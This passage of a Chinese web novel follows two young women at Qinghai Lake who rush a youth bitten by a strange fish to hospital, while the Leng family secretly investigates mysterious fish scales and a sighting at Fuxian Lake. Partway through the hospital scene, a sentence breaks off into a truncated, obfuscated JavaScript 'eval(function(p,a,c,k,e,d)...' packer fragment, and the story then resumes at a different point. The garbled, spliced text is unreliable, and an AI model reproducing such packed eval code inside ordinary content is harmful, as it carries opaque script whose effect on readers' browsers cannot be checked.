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娥姐苦笑:“他要真有事跟我说,那才是太阳从西边出来了!不过啊,我估计应该是大爷生意上的事。” 冷月如却不这么觉得,她夹了块藕片,慢腾腾嚼着,总觉这一群人突然去云南不对劲,里面肯定藏着什么事儿。 “他们去云南多久了?”冷月如问。 娥姐抬头想了想:“半个多月了吧?” ******* 一辆黑色轿车驶入别墅区,几分钟后停在了一栋欧式别墅门口,副驾车门打开,一个精壮黝黑的年轻男人从车上下来,手里拎着几袋东西,胳膊下还夹着个牛皮文件袋,他看到别墅门口有个老阿姨正在清扫落叶,先是一笑,露出一排整齐的白牙,之后就大声冲着老阿姨打招呼。 “芳姐!忙着呢?” 芳姐停下来,盯着年轻男人看了看,一时半会儿竟没认出来,等到男人走得近了些,她才恍然大悟般,扔下扫帚快步走过去,高兴地一把拉住男人的手,绕着他左看看右看看。 “是冷毅啊!你怎么这么黑了啊!怪不得我一眼都没认出来!” “在云南晒的!那边太阳大!” “哦哦,你不是说明天回来吗?怎么今天就到了!” 冷毅嘴甜地说:“这不实在是想您做的肘子了么,所以就提前回来了!” “嗐,我当时就跟你说,我做点用真空包装给你寄过去,又不碍事……” “那多麻烦,我现在不回来吃了么!” 芳姐笑呵呵:“好好好,今天晚上我就给你做,冰箱里猪肘子现成的!” 说完,像是突然想起什么,又问:“对了,佟刚跟着你一起回来的吗?他妈前几天遇到我还问呢!” “回来了,在车上待着呢!”说着往门外的车里指了指。 “是嘛,那赶紧让他下来,晚上一起吃饭!”芳姐说着就要去叫佟刚。 “他还有事儿呢,过会儿就走!” “哦,这样啊!” “芳姐,我爸呢?”冷毅说着抬头往楼上看。 “这会儿应该在书房呢!” 两人说着话往里走,等进了门,冷毅把手里拎着的几袋东西递给芳姐,说道:“芳姐,这是云南当地的特产,你拿着!” 芳姐板着脸,假装不高兴:“哎呀,你怎么又买东西!我在这里什么都不缺,你花那冤枉钱干什么!” 冷毅不管不顾就把东西往她手里塞:“你拿着,一点心意,也不贵,都是补身体的……你看看你尽心尽力照顾我们父子俩这么多年,我买点东西孝敬你,不是应该的嘛!” “哎呀,补身体的东西,你拿给你爸呀,怎么都给我……” 冷毅笑笑:“他那儿好东西多着呢,也用不着我买!” 两人一边说着,一边换鞋走进大厅里,芳姐拎着一兜子东西往厨房去了,冷毅径直上了二楼。 二楼最里面一间屋子就是他爸冷柏山的书房,他快步走过去敲了敲门,等里面说了一声“进”,他才推门进去。 冷柏山身型偏瘦,耳鬓的头发已经斑白,穿一身灰色素简的休闲服,戴着一副老花眼镜,坐在宽大的办公桌后,低头看着手里的文件。 “爸!”冷毅进门就叫了一声,脸上早没了方才的笑容。 “嗯,回来啦?” 冷柏山说着话,这才抬起头来,一双眼睛炯炯有神,他下巴往办公桌前指了指,示意冷毅坐下。 “怎么样?”冷柏山问。 冷毅忙从胳膊下拿出牛皮文件袋,递给冷柏山。 冷柏山伸手接过去,打开文件袋,从里面掏出一张照片,照片像素不太高,仍能看清照片上男人的五官样貌,看起来四十左右的年纪,普通的长相,但是嘴角有颗黑痣。 冷柏山盯着照片看了好一会儿,神情严峻地问:“这是最近的照片?” “是的,说是游客无意间拍到的。” “知道这照片在哪儿拍的吗? “抚仙湖!” 冷柏山一脸震惊:“又是抚仙湖?!那边的人怎么说?” “他们也觉得就是他!毕竟年轻的时候水捞子聚会,见过几面,都还有些印象!” “那……找到人了吗?” 冷毅摇摇头:“我跟那边通过气了,让他们一有消息马上通知我!” 冷柏山点点头:“嗯,既然两件事儿都发生在抚仙湖,就你一起去办吧!盯紧点!” “行!” “对了,还有一件事……” 冷柏山说着突然俯身下去,拉开了办公桌下的抽屉,从里面拿出一个塑料封口袋扔在了桌上,冷毅看了一眼,身子随之一震。 那是一片三角形的鱼鳞,足有半个手掌大小,顶头尖尖的,从他那个角度看过去,鱼鳞表层会泛出银白色的光。 “又是这东西,这次哪儿来的?” “青海那边送过来的!” *** 7. 医院 青海这边,姑娘们的救人行动还在继续。 去医院的途中,小马突发高烧,伤口不断出血,情况有些危急,冷晚晚担心会引发败血症,为了争分夺秒,她不管不顾地一脚油门踩到底,把车开得飞起,一路狂飙到了镇里的中心医院。 卓玛从车上下来的时候,一脸惨白,腿都吓软了,小夭倒是镇定自若,一副早已见怪不怪的表情。 “快快快,送急诊!”冷晚晚不停催促。 三人一刻不敢耽搁,赶忙合力把小马从车里抬出来,又抬着他急急忙忙往医院门口跑,等小马终于被推进手术室,三人这才稍稍缓过气来,小夭累得一屁股坐在地上就不起来了,冷晚晚也像是突然泄了劲,无力地靠着一侧墙壁直喘气,卓玛傻愣在原地,一副惊魂未定的表情。 在客栈的时候,小夭去叫她,在她耳边悄声说小马出事了,她还以为小夭开玩笑的,这地方能出多大的事啊,结果一去才知道事情的严重性,看到小马的伤口,恨不得魂都要吓飞了,也亏得冷晚晚和小夭在场,要不然她都不知道该怎么办。 此时此刻,人虽然及时送进了手术室,但几人的心明显还悬着,三双眼睛都紧盯着手术室的门,久久不愿离开,生怕她们刚一离开就又会发生什么意外,直到有护士提醒她们说手术还得一段时间,让她们先去大厅休息区等着,她们才像是突然回过神来。 卓玛先是看到小夭穿着睡衣坐在地上,接着又看了看冷晚晚,这才发现这俩姑娘身上还穿着潮乎乎的睡衣,身子都冻得直发抖,冷晚晚甚至连鞋都没穿,就那么光脚站在那里,头顶的光影打下来,脚背更显纤瘦单薄。 卓玛实在难以想象眼前这样两个姑娘怎么会有那样大的勇气,能在夜里跳进青海湖里救人,而且还真的成功救了上来。卓玛心里真是一千个一万个感激,一时都不知道该如何表达,同时又有些过意不去,甚至有点后怕,夜里的青海湖风大浪疾,要是她们下水出了事可怎么办呐,不过好在一切都好,一切都好! “这次真是谢谢你们了,太谢谢了,我都不知道该说些什么了,你看你们忙着救小马,连身上的衣服都没来得及换,冷姑娘连鞋都没穿……这冻病了可怎么办……” 事发突然,加之之后又一直精神高度紧张,冷晚晚根本就忘记了这一茬,现在听卓玛这么一说,才意识到自己还穿着睡衣,光着脚,头发湿漉漉地甩在身后,她低头看了看自己,样子多少有些狼狈,不过为了救人嘛,也讲不了什么体面了。 “没事,就是举手之劳,刚好让我们看见了,换了别人也会去救他的……”冷晚晚不以为意地说。 “不……” 卓玛摇摇头,那可是大晚上的青海湖啊,水又深又凉,风又大浪又急,就算是有好心人想救,也不一定敢下水豁出命去救,卓玛越说情绪越激动,眼泪差点掉下来,她忍了忍又说:“小马这孩子没爸没妈的,从小跟他奶奶相依为命,在我这个客栈工作,我们所有人都把他当自己孩子一样心疼,这次真的谢谢你们……真的谢谢你们救了我的孩子!” 她说着说着,眼泪终于还是掉下来,冷晚晚见状赶忙走过去搂住她的肩,轻声安慰:“你放心,小马一定会没事的!一定会没事的……” 小夭见状,从地上爬了起来,也不知道该说什么,该干什么,傻愣愣站在一旁,毕竟安慰人这种事,她实在是不擅长。 卓玛点点头,赶忙擦了眼泪,笑着说:“好了好了,现在可不是哭哭啼啼的时候,你们衣服都还是湿的,我得想方法给你们找点干净衣服来换,走走走,别在这儿站着了,去大厅里坐着等……” 卓玛说着,忙拉着她们往大厅走。 卓玛看起来不大,顶多四十出头,因为常年在湖边风吹日晒,皮肤有些粗糙黝黑,所以看起来要比实际年龄稍大,冷晚晚和小夭在客栈住了一个多月,从客栈几个老阿妈嘴里听说了不少她的故事,那简直就是一部分当代女性的人生缩影——小小年纪就被家人安排草草结婚嫁人,后来因为一直生不出孩子,遭到丈夫和丈夫家人的嫌弃,再然后丈夫顺理成章出轨,找了一个能生孩子的女人,没有人谴责她的丈夫,仿佛抛弃一个生不出孩子的女人是再正常不过的事。 就在很多人用同情眼光看向她时,她反而觉得自己终于解脱了,她的子宫给了她一次全新选择的机会,她不想再陷进旧日生活的泥沼里,于是买了火车票,人生第一次远离家乡,到了大城市,在工厂里找到一份流水线的工作,她挣钱,报班学习,上夜校,看电影,听讲座,她看到了更大的世界,见到了不一样的生活,她省吃俭用打了整整十年工,攒下了一笔钱,之后又重新回到了她的家乡。 说到这里可能很多人觉得不能理解,既然逃离了为什么还要回去?这不还是一个普通农村妇女的人生吗?有什么可讲的?不,她不一样,她没有放弃,一直在尝试做一些不平凡的事,去改变那个曾经生养过她的故乡,她自己画图纸,找工人,用自己的血汗钱在青海湖边建起了观澜客栈,这名字来自于《孟子·尽心上》——“观水有术,必观其澜”,有立志高远,胸襟开阔的含义。 她不再是曾经那个委曲求全,无法自己做主的女人了,她有了自己的客栈,并且还能在力所能及的范围内帮助他人,她一直在资助女童,鼓励她们读书、接受教育,要想方设法往上走,去见识更大的世界,不要早早结婚嫁人束缚住人生的脚步,客栈里的央金就是她救助来的,后来上了职校,毕业后又重新回到客栈工作,她可以挣钱养活自己,不用再向别人伸手要钱。 所有人都说卓玛心好,是个大好人,现在在客栈工作的大部分人,家中或多或少都有些困难,卓玛总是想方设法帮他们,比如在客栈里搞了个农产品柜台,让他们把自家的农产品放在那里,这样客栈里的客人就能看到,如果卖出去了,就能为他们家里增添一份收入,后来她还专门开了一个网店,前期就靠店里客人的口碑宣传,卖卖各家各户的土特产…… 也许是因为自己曾经历过风雨,所以现在她想为别人遮风挡雨,冷晚晚很欣赏这种不屈服于命运,能在泥沼中挣扎开出鲜艳花朵的女性,她们身上的美经过了时间和风雨的考验,能让人感受到人性的光辉和美好,这个世界能有她们这样的人,可真好啊! 已经临近午夜,大厅里人不多,她们找了个背风的角落坐下,卓玛跟冷晚晚和小夭匆忙交代了几句,就急匆匆要去外面给她们买衣服。 “要不算了,这大晚上的,商店门都关了,你去哪里买衣服啊?”冷晚晚有些不放心,顿了顿又说:“我们没事儿,忍一忍就过去了,过会儿等小马手术做完了,我们就可以回去了……” 卓玛还是坚持:“没事,我这边有熟人,我去看看,手术一时半会儿结束不了,可不能让你们这么硬挺着,要是冻感冒了可就糟了……你们就在这里等着,我很快就回来!” 卓玛说着就往外走,毕竟是人家的一番心意,冷晚晚也不好再说什么,只好随她去了。 小夭伸长了脖子往后看,等卓玛出了医院大门,她才往冷晚晚这边靠了靠,问道:“你说小马的手还有救吗?” 冷晚晚想起小马那触目惊心的伤口,面色沉重地叹了一口气:“肉都没了,还能有什么救,胳膊能保住就不错了……” 小夭的心情也一下子沉重起来,低声呢喃道:“那他以后就不能开车了……” 说完,心里好一阵难受,惋惜叹道:“小马还这么小,他才二十岁啊……怎么就这么想不开呢……干嘛要自杀啊!” 冷晚晚却突然说了句:“不一定是自杀!” “什么???” 小夭有些吃惊,语调一下子就高了几个度,意识到自己有些夸张后,忙又低下声音问:“不是自杀,那是他杀?可我们也没看见别人啊?难道……难道……那人会隐身?” 冷晚晚:“……” 见冷晚晚没说话,小夭不停催促:“你快说嘛,你快说嘛,你是不是发现了什么?” “小马身上的那条鱼,我在爸爸的笔记本里见过,也在昆仑山山下的冰川水里抓到过……” 小夭心中一动:“高山雪鲤!!” 冷晚晚点点头。 “那鱼怎么会跑到青海湖里去了,它不是对水质要求极高吗,你养的时候老费劲了,又得控制水温,又得控制水深……稍不注意就养死了,它们怎么能在咸水湖里生存呢?” 冷晚晚大胆猜想:“我怀疑它们进化了……很可能还是人为的……” 冷晚晚之所以这么猜测,还有一个原因,这青海湖里只有一种鱼,那就是湟鱼,这是当地人都知道的,当时那些鱼一齐朝岸边扑过来的时候,她也没多想,毕竟湖里出现很多鱼,也不是什么很稀奇的事,可是后来想想就有些不对劲了,特别是今晚下到水底,见到了那群鱼,又在小马伤口里跟那条鱼碰了面之后,她便有了这种猜想,昆仑山离青海湖少说也有七八百公里,那些高山雪鲤又没有长翅膀能自己飞过来,所以她便自有一种猜想——有人带了过来,养在了青海湖里。 说到这里,冷晚晚的思绪突然飘远,曾几何时,她为了找到那个传说中的“井”,去过了青海不少地方,她猜想当年那群人既然找到冷家人出面,想必那所谓的“井”一定是在水里,青海地区别的不多,就是地多湖多,大大小小的湖泊有四百多个,冷晚晚便想着那些所谓的“井”应该在湖里。 但可以佐证的资料实在太少,关于各种“井”的传说,她查来查去,也就在《山海经·海内西经》找到一些关于“井”的记载,里面说——“昆仑之虚方八百里,高万仞……面有九井,以玉为槛,面有九门,门有开明兽守之。” 也不管此“井”是不是彼“井”,反正只要跟“井”有关,她就要去看看,既然书上说昆仑山附近有井,她便从昆仑山下的湖开始查起,她每年都要来青海几个月,也不观光也不旅游,就围着这些湖泊走,结果查来查去也没查出什么名堂来,倒是一次偶然的机会,在山下的冰川水里抓到了高山雪鲤。 就在这时,医院门口突然响起一个男人咋咋唬唬的声音,他一边走还一边唉哟唉哟叫唤不停。 “唉哟,唉哟,医生,医生呢?!快来看看我的胳膊!!” 小夭好奇地回过头去看,只见一个又高又壮的男人走了进来,这人实在太有特点,走起来就像一座移动的铁塔,想让人不印象深刻都不行,她只看了一眼就认出来,这不是小马的那个朋友,刚在湖边见过,叫什么来着?对对对!叫二百八! 他怎么大晚上会来医院呢?貌似还受了伤? 她赶忙拿胳膊撞了撞一旁的冷晚晚,脑袋往门口摆了摆:“你快看谁来了!!” 冷晚晚抬了抬眼皮,看了一眼:“看见了,这不那个二百八么?他胳膊上怎么也有伤?” “难道也是鱼咬的?” 两人说话间,二百八已经被带着去处理伤口了。 冷晚晚挑挑眉:“走,咱们跟着去看看?” 医生办公室的门没有关,整个大厅都回荡着二百八的哀嚎声。 “啊啊啊啊啊,呜呜呜呜呜,医生你轻点……轻点……” 男医生刚开始还能安慰他几句,但他就跟个唢呐似的,长着嘴巴叫唤个不停,医生实在有些不耐烦:“挺壮实一小伙子,这点疼都忍不了啊……这才刚清理伤口,还没开始缝呢!” 二百八脸皱得跟苦瓜似的:“呜呜呜呜,疼怎么忍得住,又不是长得壮就不疼了,呜呜呜呜,医生你轻点轻点……” 医生:“……你这伤口没多大,还要打麻药吗?还是直接缝?” 二百八一脸震惊,顿时语调都变了:“什么?当然要打麻药啊!不打麻药,我会疼死的!!呜呜呜呜!” 医生无奈:“嗯,毕竟打麻药也挺疼的,你这伤口几针就缝了……” 一听到要打针,二百八登时又犹豫上了,经过好一番激烈地内心挣扎,他咽了咽口水,终于下定决心,像是赴死一般闭上眼睛,扬起脑袋,对医生说:“医生,来吧!直接缝!” 结果下一秒就又爆发出杀猪一般的尖叫声,瞬间吸引了所有人的注意,等到好不容易缝完针,二百八已经喊得精疲力尽,躺在椅子里大汗淋漓,就在这时,门外突然有人没忍住,噗嗤一下笑出了声,还幸灾乐祸感叹了一句:“没想到这么怕疼啊,倒是跟长相反差挺大……这身板倒是白长了……” 二百八无力地转头往外看了一眼,心想着让我看看是哪个家伙这么没有同情心,看到他受罪竟然还能笑出声来,笑就算了,竟然还说话嘲笑他!!!这能忍吗?不能忍!!结果他刚看了一眼,整个人就当场愣住,脑门跟雷被雷劈中了似的,这不是上午刚见过的那两个美女吗?住在小马他们客栈的,这大晚上的怎么会出现在医院? 他从上到下打量了冷晚晚和小夭一番,这两个美女晚上是在医院玩变装吗?光着脚,穿着睡衣,未施粉黛,看上去倒是一个个清丽可人,没了白日的锋利棱角,见对方也不是那么光鲜亮丽,他自己的羞耻感这才少了几分,不过一想到刚刚自己惊呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冷晚晚和小夭看到他走过来时怪异的步伐,也是满头问号,冷晚晚忍不住问小夭:“他腿也被咬了吗?” 小夭不敢确定:“啊?不会这么惨吧……” 说话间,二百八已经走到了两人跟前,他个子很高,两人要仰着脑袋看他。 “大晚上的,你们怎么也来医院了?” 放在往常,这两人是不会搭理他的,但人家毕竟受了伤,刚刚小夭还嘲笑了他,到底是自己有些理亏,小夭便回了一句:“小马受伤了……我们送他过来的……” 二百八一听,也是一脸懵:“啊?什么玩意儿?他也受伤了,这么赶巧吗?不会也是被狗咬的吧?” “不是,是鱼咬的……” “啊???就早上那青海湖里的鱼?我就说嘛,那群鱼实在诡异!他伤得严重吗?我还说,我哥们儿明天来青海,我这样子开不了车,准备让他帮我开车去接接呢!然后直接就拉倒你们那个客栈去住……” 小夭疑惑:“你那儿没地儿住吗?你哥们儿来了不住你那儿?” 二百八有些不好意思地挠挠脑袋:“跟你们说实话吧,我跟这哥们儿其实关系不太好,他肯定不会住我那儿的……这次我邀请他来青海,也主要是想搞点钱,他搞自媒体的,专门拍那种惊险题材的视频的,是个大网红,有钱!最近听说他们在拍水下题材的内容,我就说要给他们提供一个线索,添油加醋跟他说了今天在青海湖里发生的事,他像是有点兴趣过来看看。” 小夭一脸嫌弃:“呵呵,连哥们儿的钱都不放过,你倒是挺坦白……” 二百八一脸坦然:“挣钱有什么丢人的,我又不是骗的,再说了提供线索要给钱吧,他包车要给钱吧!这些钱不是我应该挣的嘛!再说了,那哥们儿有钱得很,我不挣白不挣啊!” 原本在一旁闷着不吭声的冷晚晚,听着听着倒是来了兴趣,好么,又一个对水下世界感兴趣的人,还是个大网红?她倒是想见见,于是问道:“你那个哥们儿什么时候来青海?” “明天中午的样子吧,怎么了?” 冷晚晚浅浅一笑:“明天中午我没事啊,我可以帮你去接人!” ******* 荆水,冷家别墅门口。 佟刚坐在车里等了好一会儿,也不见冷毅出来,正无聊呢,手机突然响了,一看来电显示,便知道肯定是芳姐给他妈李翠蛾传递消息了,知道他从云南回来了。 果然电话一接通,李翠蛾第一句就是:“听说你回来了?” “嗯!” “今天晚上来家里吃饭……”说完,又补了一句:“你月如姨说的!” “嗯,好!” “你月如姨问你想吃什么,我们下午好准备着。” “不用这么麻烦,我吃什么都行。” 李翠蛾像是对他的态度很不满意,在电话那头埋怨:“每次都这样,你到底是不是我亲儿子啊,说话跟个陌生人似的……” 佟刚有些窘迫,实在不知道该怎么接话,着急地挠了挠头,脑子里转了好一会儿,才说:“呃……妈,你跟月如姨有没有想吃的,我买了带过去……” “行了,你人来就行,半个月没见了,我们都挺想你的……” “嗯!” 挂了电话,又等了十来分钟,就看到冷毅快步从别墅出来了,他一边走一边掏出烟盒,抽出一根烟叼在嘴里,顺势拿出打火机,手虚拢着,咔哒一声点燃,顿时有丝丝的烟气随着他的身体游走。 他径直走到副驾,打开车门坐了进去。 “你爸怎么说?”佟刚问。 冷毅吐出一口烟气,慢慢说道:“让我回云南继续看着,有情况随时跟他报告……” “哦,那我也跟着回去?” 冷毅摇摇头:“你去青海,那边有事需要你去调查!” 冷毅说着扔给佟刚一个塑料封口袋,又接着说:“去了那边,自然会有人接应你……” 佟刚接过封口袋,盯着看了看,有些意外:“又是鱼鳞?这次是哪里发现的?青海?” “嗯,对了,好像晚晚和小夭也在青海,你也帮忙照看着点,但是不要让她们知道你去干什么……” “晚晚和小夭又去青海了?她还真是执着……” 冷毅笑笑:“这小丫头片子有多犟你又不是不知道,整个冷家也就她一个人敢这样胡作非为,连冷老爷子都不怕!” “也是!” “你也半个多月没见蛾姐了,今天回去看看她们,跟她们好好吃个饭,青海那边这几天就要出发,你准备一下。”冷毅说着拍了拍佟刚的肩膀。 “好!” *** 8. 蛋 周游简单跟二百八聊完,便决定动身去青海,一部分原因是他实在在家休养太久了,感觉人都要发霉锈蚀了,迫切想要出去走走,还有一部分原因是二百八这次真的没撒谎,他确实发现了一样奇异的东西——一个蛋,准确地说是一个长满了鳞片的蛋,差不多跟登机箱一般大小,外层的鳞片紧紧包裹着,像是一层寒光凛凛的铠甲。 要说他发现这蛋的过程也挺戏剧化,这天上午他在湖边看完热闹,回家的半路上,突然看到他家的小黄狗“旺财”了,只见它在湖边草丛里闻闻嗅嗅,也不知道在找什么,二百八明明记得自己出门前锁好了前门和后院,也不知道这旺财是怎么出来的。 他赶紧把车停到了路边,下车一边冲旺财喊话,一边往它那边走:“旺财!快过来!你怎么跑出来了!还跑这么远!” 旺财根本不理他,自顾自地闻闻嗅嗅地找东西。 二百八环顾四周,除了绿油油的草场,就是蓝莹莹的湖水,也没别的东西了啊!这小家伙到底在找什么?难不成这里能发现什么肉骨头?正疑惑呢,旺财突然发了疯一般往前跑,跑了一会儿又突然停下来,使劲用爪子在地上刨土,二百八紧跟着跑了过去。 旺财停下的地方是一处小水坑,里面积了不少水,旺财正趴在小水坑边沿专心致志地刨土,连头都不抬一下,只露给他一个肥墩墩、毛茸茸的屁股,它爪子刨土的频率很快,搞得泥浆到处飞溅,不一会儿就全身脏兮兮了。 二百八懒懒散散地叉腰站在一旁,一脸无奈地望着旺财,心想着我倒要看看你能挖出什么宝贝,你最好能给我挖点什么金银财宝出来,否则今天晚饭就别想了,还得麻烦爷给你洗个澡。 就那么站着干看了一会儿,眼见着旺财都要刨出个半米深的土坑了,他渐渐看出了不对劲,原本干劲十足的旺财,动作明显缓慢下来,还带着一点小心翼翼,像是生怕碰到了下面的东西。 这是有发现了? 二百八赶忙探身往土坑里看,这一看,吓得浑身一抖:“我擦,这是个什么东西啊,怎么还有鳞?” 旺财显然也被吓住了,呆楞楞地立在一旁,也不敢动了。 二百八刚开始他以为是蛇,但是硬着头皮看了半天,那玩意儿就一个圆圆的形态,也没看到脑袋,他又蹲低身子换了换角度看,鳞片的色泽和形态都不太像蛇,正想着,土坑里飘出一阵阵腥臭味,一闻到那股味道,二百八就更疑惑了,这味道不是鱼腥气吗?这特么难道是鱼? 可是有长成这样的鱼吗?但转念一想,世界之大无奇不有,说不定这玩意儿是什么新物种呢! 不管了,先弄回去再说,如果是新物种说不定还能卖了挣大钱!一想到能挣钱,二百八顿时就来了精神,当即决定找工具把这东西挖回去,说干就干,他立马跑回车里,从后备箱里拿了一把军用铲子和一个大的塑料储物箱,又赶忙一溜烟地跑回来。 他这体格多得是蛮力,于是用铲子三下五除二把那东西挖出来,扔进了储物箱,那东西也是奇怪,原本埋在水坑里,但是挖出来后,周身干干净净,一点土都没沾上,阳光打上去还泛出银白色的光来。 二百八实在觉得奇异,想全方位看个清楚,心说这东西说不定跟刺猬一样呢,遇到紧急情况就会缩成一个球,但是换个角度就能看到缝隙,于是他不停晃动箱子,想让那玩意儿展现出原本的形态,结果那东西就像一颗蛋一般,在箱子里翻来滚去,硬是看不出上面有半点缝隙。 二百八看得目瞪口呆:“这特么是个蛋?圆圆的蛋?” 回去的路上,他整人有些发懵,又有些兴奋,什么叫天降横财!这就叫天降横财!他伸手摸了摸旺财的脑袋,高兴地说:“旺财,你可真是我的好旺财!这不就来财了么!!晚上回去给你做肉吃!” 还没到家,他心里就盘算着如何把这个东西卖出去,如何卖个好价钱,可想来想去,他都不知道该联系谁,一来手里没有这样的人脉资源,二来又怕惊动了官方,让他把这东西无偿交出去,这不就白忙活一场吗? 不行!这事儿得保密!越少人知道越好!谁知道会不会有人动什么歪心思! 最后,思前想后,经过好一番考量,二百八终于想到了两个合适的人选——吴沅和周游,他知道这俩一直在做探险类的视频,他还关注过,好像搞得还不错,肯定有钱,便想着他们说不定会感兴趣。 一回到家,他就翻出吴沅和周游的电话,上学的时候他跟周游关系不太好,也不好意思直接跟周游联系,便迂回地先联系上了吴沅,吴沅倒是很客气,但推脱说自己忙得很,还没聊几句就让他去找周游,二百八实在没办法,犹豫了好一阵,最后看在钱的份上,只好硬着头皮打了周游的电话。 跟他预想中的一样,周游对他态度很冷淡,刚开始,二百八只是说青海湖里的鱼有些蹊跷,疯了一般往岸边扑过来,周游听着感觉没多大兴趣,语气也一直冷冰冰的,直到二百八说了蛋的事儿,又发给了周游一段视频,视频里二百八不敢轻易上手摸,用脚轻轻踹了踹那个蛋,声音有些激动地说:“这玩意儿是硬的!硬的!” 二百八问周游:“大网红,你见多识广,你说说这是个啥玩意儿!” 周游听着那称呼,心里实在不爽,板着脸生硬地说:“怎么老叫我网红,我又不是没有名字!” 二百八听出周游不高兴了,马上笑着改口:“行行行,那还像以前那样叫你,周游,周游,好吧?” 见周游没有反对,便接着又问:“周游,你说这玩意儿到底是什么啊?” 他联想起上午湖里鱼群扑岸的场景,再加上这玩意儿是在湖边的水坑里发现的,便猜测是不是跟湖里的鱼有关系:“这玩意儿是不是……是不是……鱼下的蛋啊?” 周游被他的无知打败:“鱼那叫卵……” “哦哦哦,对对对,卵……这玩意儿是不是卵啊……” 周游皱着眉头,左想右想都觉得不可能:“根本不会有这么大的卵吧!卵外面怎么可能还长着鳞呢!” 二百八突然一惊一乍地说:“我擦,那湖里不会真是有水怪吧!这玩意儿不会是水怪的卵吧!” 周游也不敢轻易下定论,决定亲自到青海来看一看,他知道吴沅肯定不会同意,便自己偷偷买了机票,提前跟阿姨打好招呼,大晚上收拾好行李,又简单带了一些拍摄和潜水设备,准备第二天一早就打车去机场。 ******* 另一头的青海,慌乱过后的医院,稍稍归于平静。 卓玛是差不多半个小时后回来的,还带回来两套全新的藏袍,一套黑色,一套大红色,跟冷晚晚之前穿的款式都差不多,冷晚晚和小夭虽然强忍着没说,但青海的夜晚确实挺凉的,再加上两个人又下了水,早就冷得不行了,冷晚晚拿了红的,小夭拿了黑的,赶忙去卫生间换了。 大厅就留下卓玛和二百八两个人,二百八跟卓玛只是认识,不怎么熟,站在一起莫名有些尴尬,二百八主动找话,问起了小马的状况。 “具体情况还要等做完手术,看医生怎么说,唉,不知道手还能不能保住!” 二百八惊讶:“这么严重呢?” 卓玛点点头,下巴往二百八受伤的胳膊指了指:“你胳膊怎么了?不会也是……被鱼给咬了吧?” 二百八不好意思地挠挠头:“被狗给咬了。” “啊?你们俩这什么运气啊!” 卓玛也是没想到,忍不住低声叹气,这大晚上的,还真是到处都不消停呢!那边被鱼咬,这边被狗咬的…… 在青海湖这一带,小马应该算得上二百八唯一“交心”的朋友了,知道小马情况不好,二百八便选择留在了医院,陪着卓玛、冷晚晚和小夭一起等着。 手术一直持续到凌晨两点多才结束,小马的手终究是没保住,虽然大家早就知道会是这种结果,但真正面对的时候,还是心情沉重,主要是小马太年轻了,才二十岁,日常的工作就是开车,要是手没了,他醒过来的时候可怎么受得了…… 不过好在胳膊无碍,人也没有性命之忧,只要人活着就好,人活着就会有希望…… 手术完,小马被推到了病房,几个人围坐在他的病床前,瞟到他左手光秃秃地缠着绷带,目光都随之一紧,紧接着忍不住一阵鼻酸,其他三个人情绪还稍好点,毕竟没那么熟,但卓玛就不一样了,几乎是看着小马长大的,心里的难受自然不言而喻,她根本不敢让自己停下来,怕情绪控制不住,一直在忙前忙后,等到天亮了之后,又赶忙跑出去给大家买早餐。 病房里一下安静下来,冷晚晚和小夭闷在一旁,心思重重的,二百八看着病床上的小马,还是有些难以置信,试探着问:“这小马伤成这样,真是早上湖边那鱼咬的?我记得就是刺了一下啊,这么严重?还是说有什么隐情啊?” 他实在难以想象,怎么就刺了一下就把手给截掉了呢?这也太耸人听闻了,这世上这么多钓鱼佬,也没听到谁被鱼刺了一下就截肢的啊!真要这么凶险,那钓鱼佬的数量肯定直线下降。 冷晚晚和小夭瞥了他一眼,没搭腔。 “我看你们俩穿着睡衣就着急忙慌来医院了,到底是怎么回事啊?给我讲讲?”二百八一脸好奇。 冷晚晚和小夭还是没说话,二百八也不放弃,翻来覆去问个不停,有点不问出个所以然誓不罢休的意思。 小夭被问得烦了,有些火大,心想这是人家的私事,跟你有什么关系,你一直问什么问?于是非常不高兴地丢出一句:“一直问问问,人家就是被鱼咬了!你管那么多干什么?怎么,你也想被咬一下?” 二百八一脸委屈:“哎呀,我也是想问清楚,要是青海湖里的鱼真是这么危险,我好告诉大家都离得远一点,免得又有人被咬嘛!我也是好心!” 二百八这么一说,倒是提醒了冷晚晚,确实应该提醒大家最好离湖边远一点,湖里的鱼确实诡异得很。 等卓玛买早餐回来,冷晚晚就跟她说了这事儿,她二话不说又急急忙忙跑出去给央金打电话,让她告知客人游玩尽量不要靠近湖边,更不要碰鱼,免得又出事,挂了电话,想了想,又联系了景区的管理部门,反应了这个情况,希望不要再有人受伤了。 卓玛忙完这些,整个人懵懵怔怔的,忙忙叨叨了一晚上,终于能坐下来休息休息,吃个早餐了。 早餐是牛肉拉面,鲜亮的汤,筋道的面,卓玛专门给每碗都多加了一份牛肉,几个人折腾了一晚上了,早饿了,呼噜呼噜吃完,个个连汤都喝了个底朝天,后背心浮出一层薄汗,身体也变得温热舒畅,顿时就感觉回了魂。 冷晚晚翘起二郎腿,靠在椅子上往窗外看,只见日出乍现,光芒万丈,她迎着朝阳,下意识眯起了眼睛,过了好一会儿,突然转头问二百八:“你说你朋友什么时候来?” 二百八掏出手机来看了看:“差不多11点多飞机落地!” “现在几点?” “七点多。” 冷晚晚点点头:“那我们差不多八点出发,反正这边去机场也要两三个小时!” “行!” ****** 周游一下飞机,就立刻感受到了不同于南方酷夏的气息,天空湛蓝高远,一坨坨云团就浮在头顶,仿佛一伸手就能够到,外头太阳虽然大到晃眼,但是室内没开空调也不觉得闷热,甚至还有种和煦舒爽的感觉。 他一身短T加牛仔裤,脚上穿着一双黄色的踢不烂,简简单单,舒适好看,他刚下飞机往外走,二百八的电话就来了,声音听起来很激动,显然很是期待这次的老友相见。 “喂,哥们儿,你出来了吗?” “没,等行李呢!” “哦哦哦,行,我们在三号出口等你!别搞错了!三号出口!” “嗯!” 挂了电话,周游才回味过来,刚刚二百八说的是“我们”,他不是一个人来的,显然还带了别人,以那家伙的德性来看,估计是带着女朋友来显摆来了,果然多年不见,还是老样子! 周游一想到这里,就嫌弃地摇了摇头,他加紧往外走,找到飞机对应的行李转盘,等了一会儿,拿上行李,径直往三号出口走。 这边二百八和冷晚晚已经等了半个多小时了,二百八担心冷晚晚等久了不耐烦,挂了电话,赶忙说:“马上出来,马上出来,说是在等行李呢!” 冷晚晚“哦”了一声,又懒懒地靠到椅背上,百无聊赖地盯着出口看,过了一会儿,见一波人又涌出来了,忙问二百八:“你哥们儿穿的什么衣服?有没有什么特征?” 